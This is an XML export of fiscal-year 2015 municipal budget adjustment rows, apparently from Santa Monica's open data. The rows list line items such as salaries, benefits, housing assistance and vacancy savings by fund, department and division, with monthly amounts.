<row _id="16186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="16187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5310.0</total></row>
<row _id="16188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2889.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2889.0</total></row>
<row _id="16189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="16190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1018.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1018.0</total></row>
<row _id="16191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>261216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>261216.0</total></row>
<row _id="16192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571140.0</object><object_description>S+C HAP EXPANSION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>185901.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>185901.0</total></row>
<row _id="16193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="16194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>175216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>175216.0</total></row>
<row _id="16195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577340.0</object><object_description>SECTION 8 HOUSING ASSISTANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>578330.0</object><object_description>PORTABLE ADMIN FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="16197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6189.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6189.0</total></row>
<row _id="16198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3529.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3529.0</total></row>
<row _id="16199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1106.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1106.0</total></row>
<row _id="16200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>389277.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>389277.0</total></row>
<row _id="16201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1949.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1949.0</total></row>
<row _id="16202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1308.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1308.0</total></row>
<row _id="16203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>578670.0</object><object_description>COORDINATED COMMUNITY OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>169211.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>169211.0</total></row>
<row _id="16205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>405200.0</object><object_description>VIDEO PRODUCTION SERVICE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-16200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16200.0</total></row>
<row _id="16206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18480.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18480.0</total></row>
<row _id="16207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10909.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10909.0</total></row>
<row _id="16208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571130.0</object><object_description>S+C HAP SUO5</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>312373.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>312373.0</total></row>
<row _id="16209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30750.0</total></row>
<row _id="16210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 HAP VOUCHERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-12421746.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12421746.0</total></row>
<row _id="16211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-71527.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-71527.0</total></row>
<row _id="16212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-199264.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-199264.0</total></row>
<row _id="16213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-27542.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27542.0</total></row>
<row _id="16214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-40160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40160.0</total></row>
<row _id="16215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-31101.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-31101.0</total></row>
<row _id="16216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400883.0</object><object_description>SPC HAP SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16866.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16866.0</total></row>
<row _id="16218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>934.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>934.0</total></row>
<row _id="16219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="16220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="16221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="16222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>24944.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24944.0</total></row>
<row _id="16223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>131.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131.0</total></row>
<row _id="16224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1300.0</total></row>
<row _id="16225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="16226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="16228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3294.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3294.0</total></row>
<row _id="16229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>430.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>430.0</total></row>
<row _id="16230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6711.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6711.0</total></row>
<row _id="16231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12218.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12218.0</total></row>
<row _id="16232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>109421.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>109421.0</total></row>
<row _id="16233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>315.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>315.0</total></row>
